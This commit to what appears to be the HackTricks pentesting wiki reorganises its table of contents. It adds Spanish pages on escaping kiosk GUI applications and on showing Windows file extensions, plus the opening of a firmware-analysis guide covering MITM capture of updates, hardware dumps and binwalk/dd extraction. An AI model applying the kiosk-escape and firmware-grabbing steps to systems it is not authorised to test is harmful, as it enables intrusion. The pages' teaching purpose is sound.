This commit is contained in:
carlospolop 2023-06-05 20:37:26 +02:00
parent 63bd9641c0
commit 439dd62bd4
7 changed files with 888 additions and 102 deletions

View file

@ -131,108 +131,6 @@
* [macOS Useful Commands](macos-hardening/macos-useful-commands.md)
* [macOS Auto Start Locations](macos-hardening/macos-auto-start-locations.md)
## 🦅 Reversing & Exploiting
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
* [Word Macros](reversing/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
## 🔮 Crypto & Stego
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
* [Certificates](cryptography/certificates.md)
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
* [Padding Oracle](cryptography/padding-oracle-priv.md)
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
* [Stego Tricks](stego/stego-tricks.md)
* [Esoteric languages](stego/esoteric-languages.md)
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
## 🧐 External Platforms Reviews/Writeups
* [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md)
* [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md)
* [Basic Captcha Breaker](a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md)
* [BIM Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md)
* [Hybrid Malware Classifier Part 1](a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md)
* [ML Basics](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md)
* [Feature Engineering](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md)
* [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md)
## 🦂 C2
* [Merlin](backdoors/merlin.md)
* [Empire](backdoors/empire.md)
* [Salseo](backdoors/salseo.md)
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
## ✍ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)
* [More Tools](todo/more-tools.md)
* [MISC](todo/misc.md)
* [Pentesting DNS](pentesting-dns.md)
* [Hardware Hacking](todo/hardware-hacking/README.md)
* [I2C](todo/hardware-hacking/i2c.md)
* [UART](todo/hardware-hacking/uart.md)
* [Radio](todo/hardware-hacking/radio.md)
* [JTAG](todo/hardware-hacking/jtag.md)
* [SPI](todo/hardware-hacking/spi.md)
* [Radio Hacking](radio-hacking/README.md)
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
* [Infrared](todo/radio-hacking/infrared.md)
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
* [iButton](todo/radio-hacking/ibutton.md)
* [Flipper Zero](todo/radio-hacking/flipper-zero/README.md)
* [FZ - NFC](todo/radio-hacking/flipper-zero/fz-nfc.md)
* [FZ - Sub-GHz](todo/radio-hacking/flipper-zero/fz-sub-ghz.md)
* [FZ - Infrared](todo/radio-hacking/flipper-zero/fz-infrared.md)
* [FZ - iButton](todo/radio-hacking/flipper-zero/fz-ibutton.md)
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Burp Suite](burp-suite.md)
* [Other Web Tricks](other-web-tricks.md)
* [Interesting HTTP](interesting-http.md)
* [Emails Vulnerabilities](emails-vulns.md)
* [Android Forensics](android-forensics.md)
* [TR-069](todo/tr-069.md)
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
* [CTF Write-ups](ctf-write-ups/README.md)
* [challenge-0521.intigriti.io](ctf-write-ups/challenge-0521.intigriti.io.md)
* [Try Hack Me](ctf-write-ups/try-hack-me/README.md)
* [hc0n Christmas CTF - 2019](ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md)
* [Pickle Rick](ctf-write-ups/try-hack-me/pickle-rick.md)
* [1911 - Pentesting fox](1911-pentesting-fox.md)
* [Online Platforms with API](online-platforms-with-api.md)
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
* [Post Exploitation](post-exploitation.md)
* [Cookies Policy](todo/cookies-policy.md)
## 🪟 Windows Hardening
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
@ -711,3 +609,115 @@
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
* [Pentesting CI/CD (Github, Jenkins, Terraform...)](https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology)
## 😎 Hardware/Physical Access
* [Physical Attacks](physical-attacks/physical-attacks.md)
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
* [Show file extensions](physical-attacks/escaping-from-gui-applications/show-file-extensions.md)
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
## 🦅 Reversing & Exploiting
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
* [Word Macros](reversing/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
## 🔮 Crypto & Stego
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
* [Certificates](cryptography/certificates.md)
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
* [Padding Oracle](cryptography/padding-oracle-priv.md)
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
* [Stego Tricks](stego/stego-tricks.md)
* [Esoteric languages](stego/esoteric-languages.md)
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
## 🧐 External Platforms Reviews/Writeups
* [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md)
* [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md)
* [Basic Captcha Breaker](a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md)
* [BIM Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md)
* [Hybrid Malware Classifier Part 1](a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md)
* [ML Basics](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md)
* [Feature Engineering](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md)
* [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md)
## 🦂 C2
* [Merlin](backdoors/merlin.md)
* [Empire](backdoors/empire.md)
* [Salseo](backdoors/salseo.md)
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
## ✍ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)
* [More Tools](todo/more-tools.md)
* [MISC](todo/misc.md)
* [Pentesting DNS](pentesting-dns.md)
* [Hardware Hacking](todo/hardware-hacking/README.md)
* [I2C](todo/hardware-hacking/i2c.md)
* [UART](todo/hardware-hacking/uart.md)
* [Radio](todo/hardware-hacking/radio.md)
* [JTAG](todo/hardware-hacking/jtag.md)
* [SPI](todo/hardware-hacking/spi.md)
* [Radio Hacking](radio-hacking/README.md)
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
* [Infrared](todo/radio-hacking/infrared.md)
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
* [iButton](todo/radio-hacking/ibutton.md)
* [Flipper Zero](todo/radio-hacking/flipper-zero/README.md)
* [FZ - NFC](todo/radio-hacking/flipper-zero/fz-nfc.md)
* [FZ - Sub-GHz](todo/radio-hacking/flipper-zero/fz-sub-ghz.md)
* [FZ - Infrared](todo/radio-hacking/flipper-zero/fz-infrared.md)
* [FZ - iButton](todo/radio-hacking/flipper-zero/fz-ibutton.md)
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Burp Suite](burp-suite.md)
* [Other Web Tricks](other-web-tricks.md)
* [Interesting HTTP](interesting-http.md)
* [Emails Vulnerabilities](emails-vulns.md)
* [Android Forensics](android-forensics.md)
* [TR-069](todo/tr-069.md)
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
* [CTF Write-ups](ctf-write-ups/README.md)
* [challenge-0521.intigriti.io](ctf-write-ups/challenge-0521.intigriti.io.md)
* [Try Hack Me](ctf-write-ups/try-hack-me/README.md)
* [hc0n Christmas CTF - 2019](ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md)
* [Pickle Rick](ctf-write-ups/try-hack-me/pickle-rick.md)
* [1911 - Pentesting fox](1911-pentesting-fox.md)
* [Online Platforms with API](online-platforms-with-api.md)
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
* [Post Exploitation](post-exploitation.md)
* [Cookies Policy](todo/cookies-policy.md)

View file

@ -0,0 +1,90 @@
# Revisión de posibles acciones dentro de la aplicación GUI
Los **cuadros de diálogo comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorer**. Esto significa que podrás acceder a las funcionalidades de Explorer si puedes acceder a estas opciones:
* Cerrar/Cerrar como
* Abrir/Abrir con
* Imprimir
* Exportar/Importar
* Buscar
* Escanear
Deberías comprobar si puedes:
* Modificar o crear nuevos archivos
* Crear enlaces simbólicos
* Acceder a áreas restringidas
* Ejecutar otras aplicaciones
## Ejecución de comandos
Tal vez **usando una opción de **_**Abrir con**_** puedas abrir/ejecutar algún tipo de shell.
### Windows
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
_bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Saltándose las restricciones de ruta
* **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
* **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Enlaces simbólicos**
* **Atajos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de archivo/abrir), CTRL-P (Diálogo de impresión), CTRL-S (Guardar como)
* Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
* **URI de shell**: _shell:Herramientas administrativas, shell:Biblioteca de documentos, shell:Bibliotecas, shell:Perfiles de usuario, shell:Personal, shell:Carpeta de inicio de búsqueda, shell:Carpeta de lugares de red, shell:
### Atajos de Safari
| Atajo | Acción |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Comando-L) | Abrir ubicación |
| ⌘T | Abrir una nueva pestaña |
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña actual |
| ^⇥ | Cambiar a la siguiente pestaña |
| ^⇧⇥ (Control-Shift-Tab) | Moverse a la pestaña anterior |
| ⌘L | Seleccionar el campo de entrada de texto/URL |
| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
| ⌘\[ | Retroceder una página en el historial de navegación |
| ⌘] | Avanzar una página en el historial de navegación |
### Atajos de Correo
| Atajo | Acción |
| -------------------------- | ---------------------------- |
| ⌘L | Abrir ubicación |
| ⌘T | Abrir una nueva pestaña |
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña actual |
| ⌘⌥F (Comando-Option/Alt-F) | Buscar en tu buzón de correo |
## Referencias
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -0,0 +1,45 @@
## Cómo mostrar las extensiones de archivo en Windows XP
1. Abre el Explorador de Windows. Puedes hacerlo haciendo clic en "Mi PC" en el menú Inicio. Ten en cuenta que esto NO es lo mismo que Internet Explorer.
2. Haz clic en el menú "Herramientas" en la barra de menú de Explorer (la barra de menú está en la parte superior de la ventana de Explorer, debajo del título de la ventana). Haz clic en el elemento "Opciones de carpeta" en el menú emergente que aparece.
3. Aparecerá un cuadro de diálogo. Haz clic en la pestaña "Ver" en la parte superior de la ventana.
4. Busca la opción "Ocultar las extensiones de archivo para tipos de archivo conocidos" y desmarca la casilla junto a ella para desactivarla.
5. Haz clic en el botón "Aplicar a todas las carpetas". Luego haz clic en "Aplicar" y luego en "Aceptar".
## Cómo mostrar las extensiones de archivo en Windows Vista y Windows 7
1. Haz clic en el menú Inicio. Este es el icono redondo que está en la esquina inferior izquierda de la pantalla.
2. Escribe "opciones de carpeta" (sin las comillas). Haz clic en la línea "Opciones de carpeta" que aparece en la parte superior del menú Inicio.
3. Aparecerá un cuadro de diálogo con el título "Opciones de carpeta". Haz clic en la pestaña "Ver" en la parte superior de la ventana.
4. Haz clic para desmarcar la casilla de "Ocultar las extensiones de archivo para tipos de archivo conocidos".
5. Haz clic en el botón "Aceptar" en la parte inferior del cuadro de diálogo.
## Cómo mostrar las extensiones de archivo en Windows 8
1. Invoca la pantalla de inicio. Una forma de hacerlo es mover el ratón a la esquina inferior izquierda de la pantalla. En Windows 8, no hay indicación de que esto hará que aparezca la pantalla de inicio, pero lo hará.
2. Escribe "opciones de carpeta" (sin las comillas). Sé que no hay un campo en blanco en la pantalla de inicio que sugiera que realmente puedes escribir algo. Como muchas cosas en Windows 8, se necesita conocimiento arcano para operar el sistema.
3. En el lado izquierdo de la pantalla, obtendrás el mensaje decepcionante "No hay aplicaciones que coincidan con tu búsqueda". La facilidad de búsqueda de la pantalla de inicio en Windows 8 solo puede encontrar algo para ti si ya sabes dónde encontrarlo y puedes decirle dónde está.
Haz clic en la línea "Configuración" en el lado derecho de la pantalla.
4. El lado izquierdo de la pantalla ahora muestra "Opciones de carpeta" como uno de los posibles resultados. Haz clic en él.
5. Aparecerá una ventana con el título "Opciones de carpeta". Haz clic en la pestaña "Ver" en la parte superior de ese cuadro de diálogo.
6. Busca la línea "Ocultar las extensiones de archivo para tipos de archivo conocidos" y haz clic en la casilla junto a ella para quitar la marca.
7. Haz clic en el botón "Aceptar".
## Cómo mostrar las extensiones de archivo en Windows 10
1. Haz clic en el icono de la barra de tareas en la parte inferior de la pantalla para invocar el menú Inicio. (El icono es el que parece una versión blanca del logotipo de Windows).
2. Escribe "opciones de carpeta" (sin las comillas). No hay un campo en blanco en la pantalla que sugiera que puedes escribir algo, pero puedes hacerlo. Solo escríbelo.
3. Haz clic en el elemento "Opciones de carpeta del Explorador de archivos" que aparece en la lista "Mejor coincidencia".
4. Aparecerá un cuadro de diálogo con el título "Opciones de carpeta del Explorador de archivos". Haz clic en la pestaña "Ver" en la parte superior de la ventana.
5. Desplázate para encontrar el elemento "Ocultar las extensiones de archivo para tipos de archivo conocidos" y haz clic en la casilla junto a él para quitar la marca.
6. Haz clic en el botón "Aceptar".
Eso es todo. Ahora deberías poder ver las verdaderas extensiones de los archivos en tus ventanas de Explorer.
Derechos de autor © 2008-2018 por Christopher Heng. Todos los derechos reservados. Obtén más guías y tutoriales de "Cómo hacer" en [https://www.howtohaven.com/](https://www.howtohaven.com).
**Este artículo se puede encontrar en** [**https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml**](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
<details>

View file

@ -0,0 +1,428 @@
# Análisis de Firmware
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Introducción
El firmware es un tipo de software que proporciona comunicación y control sobre los componentes de hardware de un dispositivo. Es el primer código que ejecuta un dispositivo. Por lo general, **inicia el sistema operativo** y proporciona servicios de tiempo de ejecución muy específicos para los programas mediante la **comunicación con varios componentes de hardware**. La mayoría, si no todos, los dispositivos electrónicos tienen firmware.
Los dispositivos almacenan el firmware en **memoria no volátil**, como ROM, EPROM o memoria flash.
Es importante **examinar** el **firmware** y luego intentar **modificarlo**, porque podemos descubrir muchos problemas de seguridad durante este proceso.
## **Recopilación de información y reconocimiento**
Durante esta etapa, recopile tanta información sobre el objetivo como sea posible para comprender su composición general y la tecnología subyacente. Intente recopilar lo siguiente:
* Arquitectura(s) de CPU compatibles
* Plataforma del sistema operativo
* Configuraciones del cargador de arranque
* Esquemas de hardware
* Hojas de datos
* Estimaciones de líneas de código (LoC)
* Ubicación del repositorio de código fuente
* Componentes de terceros
* Licencias de código abierto (por ejemplo, GPL)
* Registros de cambios
* Identificaciones de la Comisión Federal de Comunicaciones (FCC)
* Diagramas de diseño y flujo de datos
* Modelos de amenazas
* Informes anteriores de pruebas de penetración
* Boletos de seguimiento de errores (por ejemplo, Jira y plataformas de recompensa de errores como BugCrowd o HackerOne)
Cuando sea posible, adquiera datos utilizando herramientas y técnicas de inteligencia de código abierto (OSINT). Si se utiliza software de código abierto, descargue el repositorio y realice tanto análisis estático manual como automatizado contra la base de código. A veces, los proyectos de software de código abierto ya utilizan herramientas de análisis estático gratuitas proporcionadas por proveedores que proporcionan resultados de escaneo como [Coverity Scan](https://scan.coverity.com) y [Semmles LGTM](https://lgtm.com/#explore).
## Obteniendo el Firmware
Existen diferentes formas con diferentes niveles de dificultad para descargar el firmware
* **Directamente** del equipo de desarrollo, fabricante/proveedor o cliente
* **Construir desde cero** utilizando guías proporcionadas por el fabricante
* Desde el **sitio de soporte** del proveedor
* Consultas de búsqueda de **Google dork** dirigidas a extensiones de archivos binarios y plataformas de intercambio de archivos como Dropbox, Box y Google Drive
* Es común encontrar imágenes de firmware a través de clientes que cargan contenido en foros, blogs o comentan en sitios donde contactaron al fabricante para solucionar un problema y se les dio firmware a través de un zip o una unidad flash enviada.
* Ejemplo: `intitle:"Netgear" intext:"Firmware Download"`
* Descargar compilaciones de ubicaciones de almacenamiento de proveedores de nube expuestas como los buckets de Amazon Web Services (AWS) (con herramientas como [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner))
* Comunicación de dispositivo **man-in-the-middle** (MITM) durante **actualizaciones**
* Extraer directamente **desde el hardware** a través de **UART**, **JTAG**, **PICit**, etc.
* Espiar la **comunicación serial** dentro de los componentes de hardware para **solicitudes de servidor de actualización**
* A través de un **punto final codificado** dentro de las aplicaciones móviles o gruesas
* **Volcado** de firmware desde el **cargador de arranque** (por ejemplo, U-boot) al almacenamiento flash o a través de la **red** a través de **tftp**
* Eliminando el **chip flash** (por ejemplo, SPI) o MCU de la placa para análisis sin conexión y extracción de datos (ÚLTIMO RECURSO).
* Necesitará un programador de chips compatible para el almacenamiento flash y / o el MCU.
## Analizando el firmware
Ahora que **tiene el firmware**, debe extraer información sobre él para saber cómo tratarlo. Diferentes herramientas que puede utilizar para eso:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`. Si la entropía es baja, es poco probable que esté encriptado. Si la entropía es alta, es probable que esté encriptado (o comprimido de alguna manera).
Además, puedes usar estas herramientas para extraer **archivos incrustados dentro del firmware**:
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
O [**binvis.io**](https://binvis.io/#/) ([código](https://code.google.com/archive/p/binvis/)) para inspeccionar el archivo.
### Obteniendo el sistema de archivos
Con las herramientas mencionadas anteriormente, como `binwalk -ev <bin>`, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta con el nombre del tipo de sistema de archivos**, que generalmente es uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extracción manual del sistema de archivos
A veces, binwalk **no tiene el byte mágico del sistema de archivos en sus firmas**. En estos casos, usa binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo utilizando los siguientes pasos.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Ejecute el siguiente comando **dd** para tallar el sistema de archivos Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternativamente, también se podría ejecutar el siguiente comando:
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
* Para squashfs (usado en el ejemplo anterior)
`$ unsquashfs dir.squashfs`
Los archivos estarán en el directorio "`squashfs-root`" después.
* Archivos de archivo CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Para sistemas de archivos jffs2
`$ jefferson rootfsfile.jffs2`
* Para sistemas de archivos ubifs con flash NAND
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
